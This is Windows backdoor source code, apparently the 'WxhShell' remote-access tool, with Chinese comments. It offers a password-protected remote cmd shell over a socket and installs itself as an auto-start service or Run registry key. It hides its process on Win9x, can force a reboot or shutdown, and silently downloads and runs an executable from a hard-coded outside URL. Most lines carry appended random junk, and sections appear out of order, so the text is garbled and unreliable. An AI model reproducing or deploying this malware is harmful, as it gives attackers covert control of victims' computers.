    if(Boot(SHUTDOWN)) G!$~'o%/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .5a>!B.I  
    else {  ,==_u  
    closesocket(wsh); W{'hn&vU  
    ExitThread(0); .+(V</  
    } +_fFRyu>  
    break; Qb?a[[3  
    } yC1OeO8{  
  // 获取shell _[&V9 Jt  
  case 's': { RBf#5VjOG!  
    CmdShell(wsh); qzNb\y9G  
    closesocket(wsh); `.pEI q^  
    ExitThread(0); }UsH#!9.  
    break; _1E c54D  
  } Ty&1R?  
  // 退出 ^ 3 4Ng  
  case 'x': { +'g O%^{l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5@>hjXi"Y  
    CloseIt(wsh); zs]ubJC@  
    break; \u`P(fI!K%  
    } $,by!w'e:l  
  // 离开 9Zl4NV&B  
  case 'q': { ^/E'Rf3[A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 95#]6*#[4!  
    closesocket(wsh); C <:g"F:k  
    WSACleanup(); neM)(` gp  
    exit(1); y%%VJ}'X!  
    break; 3@x[M?$  
        } 4dFr~ {  
  } uQdH ():  
  } #sCR}  
z8a{M$-Q  
  // 提示信息 m-uXQS^@G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LAk .f  
} MV$E_@pg  
  } YQ:$m5ai  
H][TH2H1  
  return; \wz^Z{U  
} M**Sus87Q  
tZ62T{, a  
// shell模块句柄 >mA]2gV<a  
int CmdShell(SOCKET sock) &M@ .d$<C  
{ =Ks&m4  
STARTUPINFO si; Fu{VO~w  
ZeroMemory(&si,sizeof(si)); bX38=.up  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ld_uMe?Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >(H:eRKq  
PROCESS_INFORMATION ProcessInfo; 'Y2$9qy-L  
char cmdline[]="cmd"; $,Xn@4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4 `l$0m@>  
  return 0; Zex~ $r  
} +$ djX=3  
\,NT5>  
// 自身启动模式 am/}V%^  
int StartFromService(void) aoW2c1`?Z  
{ YkFLNCg4}  
typedef struct *sp")h#Z  
{ KF *F  
  DWORD ExitStatus; U*K4qJ6U  
  DWORD PebBaseAddress; Ma?uB8o+~  
  DWORD AffinityMask; 0c"9C_7^g  
  DWORD BasePriority; 4IZAJqw(*  
  ULONG UniqueProcessId; X n0HJ^"_  
  ULONG InheritedFromUniqueProcessId; 7n .A QII  
}   PROCESS_BASIC_INFORMATION; rV"3oM]Lo  
Nz{qu}dt  
PROCNTQSIP NtQueryInformationProcess; $Xo_8SX,  
k"[AV2UW1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #"A`:bjG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zhow\l2t}  
$H@   
  HANDLE             hProcess; n>JJ Xw,,  
  PROCESS_BASIC_INFORMATION pbi; ozS'n]8*  
6E_~8oEl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .DwiIr'  
  if(NULL == hInst ) return 0; [%LGiCU]  
M1P;x._n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NlhC7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h{HpI 0q4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7C2Xy>d~  
 -+qg  
  if (!NtQueryInformationProcess) return 0; |a[" ^ 2  
gmTBp}3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JK{2 hr_a  
  if(!hProcess) return 0; kQ\l7xd  
<au_S\n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E}w5.1  
Z1W%fT  
  CloseHandle(hProcess); 'Eia=@  
N>L)2WKFT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K7x;/O  
if(hProcess==NULL) return 0; {1UU `d  
Z< C39s  
HMODULE hMod; ]_s;olKNI  
char procName[255]; x=K'Jj  
unsigned long cbNeeded; A0.xPru1p  
U\{I09@E 0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "{S4YA  
w5-^Py  
  CloseHandle(hProcess); *mn9CVZ(}M  
Kzt:rhiB  
if(strstr(procName,"services")) return 1; // 以服务启动 "j&p3  
A&KY7[<AC{  
  return 0; // 注册表启动 9*"K+t:  
} jtpk5 fJB  
qncZpXw^  
// 主模块 Ak`?,*L M  
int StartWxhshell(LPSTR lpCmdLine) zuJ` 704  
{ 02^\np  
  SOCKET wsl; Pa; *%7  
BOOL val=TRUE; Sxy3cv53  
  int port=0; 3!?QQT,!)  
  struct sockaddr_in door; ^^xzaF  
g*9&3ov  
  if(wscfg.ws_autoins) Install(); EO",|V-  
(a,`Y.  
port=atoi(lpCmdLine); f .h$jyp(  
s.Mrd~(Drz  
if(port<=0) port=wscfg.ws_port; ,:81DA  
=/xXB  
  WSADATA data; ~Ty6]A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; phwq#AxQ   
A}"uEk(R  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zcEpywNP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T(qHi?Y  
  door.sin_family = AF_INET; 1-!|_<EW1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I= z+`o8  
  door.sin_port = htons(port); ybB<AkYc  
iVqF]2 >  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~3Z(0 gujD  
closesocket(wsl); wp/x|AV  
return 1; h!hv{c  
} q 7+|U%!9  
>R/^[([;]  
  if(listen(wsl,2) == INVALID_SOCKET) { +A_jm!tJS(  
closesocket(wsl); "yXqf%CGE  
return 1; mvtuV`  
} :~,akX$  
  Wxhshell(wsl); %ZlnGr  
  WSACleanup(); 5bWy=Xk B  
N4 _V  
return 0; AkqGk5e ^  
AWmJm)   
} qkyYt#4E  
+d6Jrd*  
// 以NT服务方式启动 9l7 youZ]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dnX^?  
{ 5g4c1K  
DWORD   status = 0; )4/UzR$  
  DWORD   specificError = 0xfffffff; a@gm r%C  
%{P." ki  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0k|/]zfb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bNz2Uo!0K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0h2MmI#  
  serviceStatus.dwWin32ExitCode     = 0; z;i4F.p  
  serviceStatus.dwServiceSpecificExitCode = 0; YpbJoHiSH  
  serviceStatus.dwCheckPoint       = 0; ~leLQsZ  
  serviceStatus.dwWaitHint       = 0; Vg"Ze[dA  
c6pGy%T-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'P)[=+O?t  
  if (hServiceStatusHandle==0) return; d e~3:  
KTu&R6|  
status = GetLastError(); AwGDy +  
  if (status!=NO_ERROR) 3_k3U  
{ OBp/:]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2$QuR~  
    serviceStatus.dwCheckPoint       = 0;  PYYO-Twg  
    serviceStatus.dwWaitHint       = 0; 8"S? Toqq  
    serviceStatus.dwWin32ExitCode     = status; b(gcnSzM2  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6NqLo^ "g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8 uhB&qxB  
    return; &@xeWB  
  } ?GGh )";y  
'r?OzFtxh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y3wL EG%,:  
  serviceStatus.dwCheckPoint       = 0; ma4r/8Q  
  serviceStatus.dwWaitHint       = 0; 4&LoE~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -`ykVH gg  
} cYEe`?*  
5Bc)QKh`l|  
// 处理NT服务事件,比如:启动、停止 RJI*ZNb A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -x1O|q69  
{ U_,K_6vj  
switch(fdwControl) V_7xXuM/  
{ cM'5m  
case SERVICE_CONTROL_STOP: IsCJdgG  
  serviceStatus.dwWin32ExitCode = 0; S$I:rbc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8m"5J-uIi  
  serviceStatus.dwCheckPoint   = 0; S\UM0G}v  
  serviceStatus.dwWaitHint     = 0; aw:0R=S,>  
  { jNNl5.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  goT:\2  
  } Cx/duod p  
  return; dfq5P!'  
case SERVICE_CONTROL_PAUSE: jQ31u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !kfnqe?|  
  break; K\ \U F  
case SERVICE_CONTROL_CONTINUE: uQ.VW/>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E|.D  
  break; Fk,3th  
case SERVICE_CONTROL_INTERROGATE: <!|2Ru  
  break; :PaFC{O)*  
}; 7iKbd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g%<7Px[W  
} y!^RL,HIL  
.9g\WH#qD|  
// 标准应用程序主函数 q9pcEm4?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9aC>gye!  
{ a~~"2LE`  
V*'9yk"  
// 获取操作系统版本 uyG4zV\h*  
OsIsNt=GetOsVer(); (<.1o_Q-LU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WiviH#hF  
ix&hsNzD  
  // 从命令行安装 %3VwCuE  
  if(strpbrk(lpCmdLine,"iI")) Install(); Gf'V68,l$  
XW Y0WDh:  
  // 下载执行文件 N]yk<55  
if(wscfg.ws_downexe) { 95wV+ q*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Krq^|DY  
  WinExec(wscfg.ws_filenam,SW_HIDE); =8dCk\/  
}  D#m+w  
}u+R,@l/  
if(!OsIsNt) {  "rjJ"u 1  
// 如果时win9x,隐藏进程并且设置为注册表启动 y_QxJ~6t  
HideProc(); s_Dl8O4u  
StartWxhshell(lpCmdLine); uR)@v^$FE  
} $C)@GGY  
else vPwDV_zk  
  if(StartFromService()) t8)Fkx#8}  
  // 以服务方式启动 I@L-%#@R1  
  StartServiceCtrlDispatcher(DispatchTable); Y9w= [[1  
else d=4MqX r  
  // 普通方式启动 "msg./iC  
  StartWxhshell(lpCmdLine); BS|-E6E<  
kh,M'XbTo  
return 0; (x$k\H  
} oC[wYUDg  
In;z\"NN4  
{G{@bUG]p  
iGU N$  
=========================================== DU7Ki6  
$z,bA*j9  
Om1z  
}> 1h+O  
X"1<G3m4  
R\Q%_~1  
" !eTS PM  
h.Dk>H_G  
#include <stdio.h> OVh/t# On  
#include <string.h> z vYDE]  
#include <windows.h> Vut.oB$ ~  
#include <winsock2.h> X%F9.<4  
#include <winsvc.h> ;_SS3q  
#include <urlmon.h> 4 ?c1c  
2b"5/$|6  
#pragma comment (lib, "Ws2_32.lib") ?rK%;GTo  
#pragma comment (lib, "urlmon.lib") 88*RlxU  
^#Y6 E  
#define MAX_USER   100 // 最大客户端连接数 }mGD`5[`  
#define BUF_SOCK   200 // sock buffer =Fs LF  
#define KEY_BUFF   255 // 输入 buffer i-=ff  
Zn} )&Xt  
#define REBOOT     0   // 重启 y^Jv?`jw  
#define SHUTDOWN   1   // 关机 J-f0  
dB,#`tc=,  
#define DEF_PORT   5000 // 监听端口 lKD@2  
).boe& .  
#define REG_LEN     16   // 注册表键长度 ;VH]TKkk  
#define SVC_LEN     80   // NT服务名长度 xq)/QR  
.#eXNyCe  
// 从dll定义API 0X-2).n u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MGz> ,c^wW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qR<DQTO<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ? 7EVmF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8JrGZ8Q4RM  
N9PM.nbd%  
// wxhshell配置信息 -:>#w`H  
struct WSCFG { c+{4C3z  
  int ws_port;         // 监听端口 q{ 1U  
  char ws_passstr[REG_LEN]; // 口令 [Z+,)-ke  
  int ws_autoins;       // 安装标记, 1=yes 0=no .%<&W1  
  char ws_regname[REG_LEN]; // 注册表键名 -}sya1(<8  
  char ws_svcname[REG_LEN]; // 服务名 C941 @I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T6r~OV5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bx^EaXj(r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gWo~o]f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W>bW1h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;wxt<   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ko>_@]Jb  
yy1r,dw  
}; zn!  
@R&D["!  
// default Wxhshell configuration G0> Wk#or  
struct WSCFG wscfg={DEF_PORT, \>`$x:  
    "xuhuanlingzhe", aF"Z!HD  
    1, P/9J!.Cm  
    "Wxhshell", * _l o;  
    "Wxhshell", Lp)8SmN  
            "WxhShell Service", RT"2Us]*  
    "Wrsky Windows CmdShell Service", Z^6(&Rh  
    "Please Input Your Password: ", Le JlTWotC  
  1, @qy*R'+  
  "http://www.wrsky.com/wxhshell.exe", C+?s~JL  
  "Wxhshell.exe" }2A1Yt:^P  
    }; 'sBXH EZA]  
E}vO*ZZEw  
// 消息定义模块 s)8M? |[`I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ydqmuZ%2h#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ya L W(@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7U`S9DDwq  
char *msg_ws_ext="\n\rExit."; 2\\3<  
char *msg_ws_end="\n\rQuit."; cgXF|'yI&l  
char *msg_ws_boot="\n\rReboot..."; cu?(P ;mQi  
char *msg_ws_poff="\n\rShutdown..."; 0P40K  
char *msg_ws_down="\n\rSave to "; )9*3^v  
I*S`I|{J  
char *msg_ws_err="\n\rErr!"; )$h9Y   
char *msg_ws_ok="\n\rOK!"; _xg VuJ   
X7d.Ie  
char ExeFile[MAX_PATH]; G=5t5[KC  
int nUser = 0; ('6g)@=\U  
HANDLE handles[MAX_USER]; LA`V qJ  
int OsIsNt; akW3\(W}  
Qr%Jm{_o  
SERVICE_STATUS       serviceStatus; [H%?jTQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; za]p,bMX  
@IY?DO  
// 函数声明 EN)A"  
int Install(void); IPR tm!  
int Uninstall(void); T|s0qQi  
int DownloadFile(char *sURL, SOCKET wsh); 6_5d  
int Boot(int flag); 53t- 'K0l  
void HideProc(void); _RL-6jw#o  
int GetOsVer(void); {I-a;XBX  
int Wxhshell(SOCKET wsl); 1H4Zgh U  
void TalkWithClient(void *cs); ,;iBeqr5  
int CmdShell(SOCKET sock); iqednk%  
int StartFromService(void); A$%!9Cma  
int StartWxhshell(LPSTR lpCmdLine); +Sd,l>8\  
P b8Z))9j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IbJ[Og^Qyu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d[]p_oIQq  
[)SR $/A  
// 数据结构和表定义 1.0!H.>q  
SERVICE_TABLE_ENTRY DispatchTable[] = x]R(twi  
{ sVZZp  
{wscfg.ws_svcname, NTServiceMain}, k<Tez{<  
{NULL, NULL} TA0D{  
}; XJ h:U0  
9S1Ti6A  
// 自我安装 crNjI`%tw  
int Install(void) .^LL9{?  
{ uPFHlT  
  char svExeFile[MAX_PATH]; SCurO9RN  
  HKEY key; 27a* H1iQ  
  strcpy(svExeFile,ExeFile); ;>Ca(Y2M  
XW?ybH6  
// 如果是win9x系统,修改注册表设为自启动 ^V: "zzn&  
if(!OsIsNt) { wt}%2x} x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +qdIj] v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m(Y.X=EZr  
  RegCloseKey(key); MV<!<Qmj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jh\: X<q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G*(K UG>  
  RegCloseKey(key); !eR-Kor  
  return 0; 7V} ]C>G  
    } 0F+ zG)G"  
  } If-,c^i  
} -MrtliepW*  
else { Ns2,hQFc  
v_z..-7Dq+  
// 如果是NT以上系统,安装为系统服务 _hy{F%}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *qPdZ   
if (schSCManager!=0) `V&1]C8x  
{ |.(CIu~b  
  SC_HANDLE schService = CreateService ~!ZmF(:  
  ( h`5YA89  
  schSCManager, VT% KN`l  
  wscfg.ws_svcname, X&(<G  
  wscfg.ws_svcdisp, zLsb`)!  
  SERVICE_ALL_ACCESS, E.J 0fwyT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SOp=~z  
  SERVICE_AUTO_START, oTCzYY  
  SERVICE_ERROR_NORMAL, s.yq}Q  
  svExeFile, i<T P:  
  NULL, sno`=+|U]  
  NULL, c~}={4M]  
  NULL, OXHvT/L`  
  NULL, 2W^B{ZS;  
  NULL TN35CaSmq  
  ); NunV8atn:  
  if (schService!=0) KVB0IXZC~  
  { Q2/MnM  
  CloseServiceHandle(schService); E6Q]A~  
  CloseServiceHandle(schSCManager); keLR1qf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mC i[Ps  
  strcat(svExeFile,wscfg.ws_svcname); Eh\ 1O(a(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w6T[hZ 9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,~4H{{<j  
  RegCloseKey(key); VF)uu[ f9  
  return 0; )K~w'TUr  
    } hv* >%p  
  } 2fl4h<V  
  CloseServiceHandle(schSCManager); 01udlW.  
} X8/Tl \c  
} ?Z q_9T7  
X rF3kz!44  
return 1; yN*:.al  
} v`JF\"}S  
<i{K7}':  
// 自我卸载 w |_GV}#_  
int Uninstall(void) 3VmI0gsm.>  
{ b'i'GJBQ+$  
  HKEY key; D+Cm<ZT~  
lT]=&m>  
if(!OsIsNt) { 0rD#s{?   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '>@4(=I  
  RegDeleteValue(key,wscfg.ws_regname); E\0X`QeY  
  RegCloseKey(key); JqEW= 5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !z"Nv1!~|  
  RegDeleteValue(key,wscfg.ws_regname); 5[C~wvO  
  RegCloseKey(key); AUfS-  
  return 0; g\U/&.}DN  
  } Jf7frzw  
} @F>F#-2  
} '0|o`qoLzA  
else { #'@i lk/.  
c<wavvfUo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L=O lyHO  
if (schSCManager!=0) 62[8xn=(%  
{ hSB?@I4s<\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )6{< i5nJ\  
  if (schService!=0) O:Va&Cyj*  
  { )RN<GW'  
  if(DeleteService(schService)!=0) { ["y6b*;x  
  CloseServiceHandle(schService); +4et7  
  CloseServiceHandle(schSCManager); @x1 %)1  
  return 0; vJ"i.:Gf4  
  } V1B(|P  
  CloseServiceHandle(schService); pMR,#[U<  
  } ~6`iY@)  
  CloseServiceHandle(schSCManager); w{!(r  
} lCJ6Ur;  
} ?]#OM_,8  
?cKZ_c  
return 1; *6Q|}b[qcD  
}  c 6"Ib)  
? }yfKU`  
// 从指定url下载文件 `&!k!FZY*  
int DownloadFile(char *sURL, SOCKET wsh) 4zjs!AK%  
{ x5h~G  
  HRESULT hr; HeLG?6  
char seps[]= "/"; l30Y8t~d  
char *token; Apj;  
char *file; , sjh^-;  
char myURL[MAX_PATH]; 6cz/n8Mg  
char myFILE[MAX_PATH]; B4h5[fPX  
=wVJ%  
strcpy(myURL,sURL); _{4^|{>Pv  
  token=strtok(myURL,seps); ;W]\rft[  
  while(token!=NULL) u5B:^.:p  
  { D:"{g|nW}  
    file=token; d$t40+v  
  token=strtok(NULL,seps); pTJX""C  
  } w_hHfZ9E  
:nA.j"@  
GetCurrentDirectory(MAX_PATH,myFILE); PL X>-7@  
strcat(myFILE, "\\"); =>iA gp'#  
strcat(myFILE, file); Qkcjr]#^$  
  send(wsh,myFILE,strlen(myFILE),0); ;Hmp f0$  
send(wsh,"...",3,0); T/pqSmVpM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^7^N}x@  
  if(hr==S_OK) -0Cnp/Yj@  
return 0; 5T@aCC@$h  
else Qm4o7x{q  
return 1; [P~hjmJ(y  
k D5!}+y  
} 3djC;*,9,  
_oG&OJ@  
// 系统电源模块 v&a4^s  
int Boot(int flag) g[H',)A)  
{  asHxL!  
  HANDLE hToken; q1?&Ev^  
  TOKEN_PRIVILEGES tkp; 99xEm  
nUS| sh  
  if(OsIsNt) { S35~Cp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _ :Ag?2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); En{`@JsM  
    tkp.PrivilegeCount = 1; }e2VY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x'<K\qp{{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f>`dF?^6  
if(flag==REBOOT) { 9h&R]yz;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $5x ,6[&  
  return 0; bKg8rK u  
} t>=fTkB  
else { N IdZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }}v9 `F  
  return 0; v6.t{6zYgY  
} vM:cWat  
  } Ar*^ ;/  
  else { S*o[ZA   
if(flag==REBOOT) { 7xRl9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2 3OC2|  
  return 0; }>)[<;M>%  
} J'$>Gk]  
else { {9UEq0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .<@8gNm3  
  return 0; iQDx{m3]  
} vz.>~HBP  
} y;_% W  
R2Zgx\VV'  
return 1; :#@= B]  
} rj(T~d4  
'%q$` KDb  
// win9x进程隐藏模块 o2<#s)GpY  
void HideProc(void) % qV 6  
{ hzkcP  
89r DyRJ;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +$g}4  
  if ( hKernel != NULL ) x)(|[  
  { 0u\GO;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H\TI[JPAl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /!c${W!sY  
    FreeLibrary(hKernel); 0`^&9nR  
  } J0@X<Lt U  
}GeSu|m(  
return; +HBd %1  
} z11O F  
h*-Pr8  
// 获取操作系统版本  4^M  
int GetOsVer(void) ZIQ [bE7  
{ w@{=nD4p  
  OSVERSIONINFO winfo; V$ ps>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -3Hy*1A.  
  GetVersionEx(&winfo); E{|W(z,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r-Pkfy(  
  return 1; ZzSz%z_sE  
  else Ft&]7dT{W  
  return 0; VIv&ofyAR  
} [n :<8ho  
\SB c;  
// 客户端句柄模块 , GP?amh  
int Wxhshell(SOCKET wsl) ~^1{B\I  
{ <i&_ooX  
  SOCKET wsh; 4rLL[??  
  struct sockaddr_in client; z*a:L}$  
  DWORD myID; JsODzw  
.=s&EEF  
  while(nUser<MAX_USER) "$YJX1u3  
{ T(U_  
  int nSize=sizeof(client); #T'{ n1AI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $w`=z<2yo1  
  if(wsh==INVALID_SOCKET) return 1; G;l_|8<t#\  
rR(X9i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); toBHkiuD  
if(handles[nUser]==0) NgP&.39U  
  closesocket(wsh); ~ v|>xqWV  
else 1=d6NX)B  
  nUser++; U_I5fK =  
  } ^LoUi1j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <+?7H\b  
Ezd_`_@R  
  return 0; ~E2KZm  
} 4\8+9b\9"  
qKr8)}h  
// 关闭 socket Q7jb'y$ozO  
void CloseIt(SOCKET wsh) Bf~vA4  
{ l~w2B>i)  
closesocket(wsh); G}b]w~ML ~  
nUser--; of%Ktm5Qi  
ExitThread(0); Y[}>CYO  
} __G?0*3G  
L.*M&Ry  
// 客户端请求句柄 P2#XKG  
void TalkWithClient(void *cs) Krqtf  
{ uKUiV%p!  
EyJJ0  
  SOCKET wsh=(SOCKET)cs; (MxQ+D\  
  char pwd[SVC_LEN]; !>..Q)z  
  char cmd[KEY_BUFF]; mwHB(7YS,  
char chr[1]; 3Q.#c,`jV  
int i,j; '7hu 2i5  
!Qu"BF   
  while (nUser < MAX_USER) { Jh,]r?Bd  
r1 !@hT  
if(wscfg.ws_passstr) { tE<H|_{L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6t[+pL\b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [+T.a t  
  //ZeroMemory(pwd,KEY_BUFF); Lo{ E:5q  
      i=0; iT3BF"ZqBO  
  while(i<SVC_LEN) { }YGV\Nu  
c|e~BQdRw  
  // 设置超时 #Z?A2r!1  
  fd_set FdRead; zy/@ WFPE  
  struct timeval TimeOut; Y!-M_v/  
  FD_ZERO(&FdRead); f-vCm 5f  
  FD_SET(wsh,&FdRead); naG=Pq<  
  TimeOut.tv_sec=8; <J< {l  
  TimeOut.tv_usec=0; K[YI4pt7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6m* QX+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AYqX |  
tqE6>"jD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h \fjBDU^  
  pwd=chr[0]; 1H? u Qy  
  if(chr[0]==0xd || chr[0]==0xa) { 5sj4;w[  
  pwd=0; x -WmMfcz&  
  break; k:t ]s_`<  
  } T*Y~\~Jhu  
  i++; cLpYW7vZ[  
    } #xsE3Wj-X  
6M @[B|Q(  
  // 如果是非法用户,关闭 socket V\ZGd+?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _<n~n]%  
} ] {RDVA=]  
1gL2ia  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #^u$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EizKoHI-z  
dI.WK@W'o  
while(1) { uw>Ba %5  
ZQ4p(6a   
  ZeroMemory(cmd,KEY_BUFF); >c1qpk/  
Ec3}_`  
      // 自动支持客户端 telnet标准   ,k +IPkN+  
  j=0; p|X"@kuseO  
  while(j<KEY_BUFF) { 8g@<d ^8@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nsu@h  
  cmd[j]=chr[0]; "%`1 ]Fr  
  if(chr[0]==0xa || chr[0]==0xd) { I:R[;TB?y  
  cmd[j]=0; [owWiN4`s  
  break; ^n*)7K[  
  } ~qiJR`Jj  
  j++; 1!xQ=DU"  
    } C)um9}  
NW~N}5T  
  // 下载文件 TH%Qhv\]  
  if(strstr(cmd,"http://")) { ((YMVe  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [+rfAW>p}  
  if(DownloadFile(cmd,wsh)) !a{^=#qq&I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m~iXl,r  
  else pj\u9 L_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v> LIvi|]  
  } R6` WN  
  else { Y+kfBvxyf  
qk%;on&`  
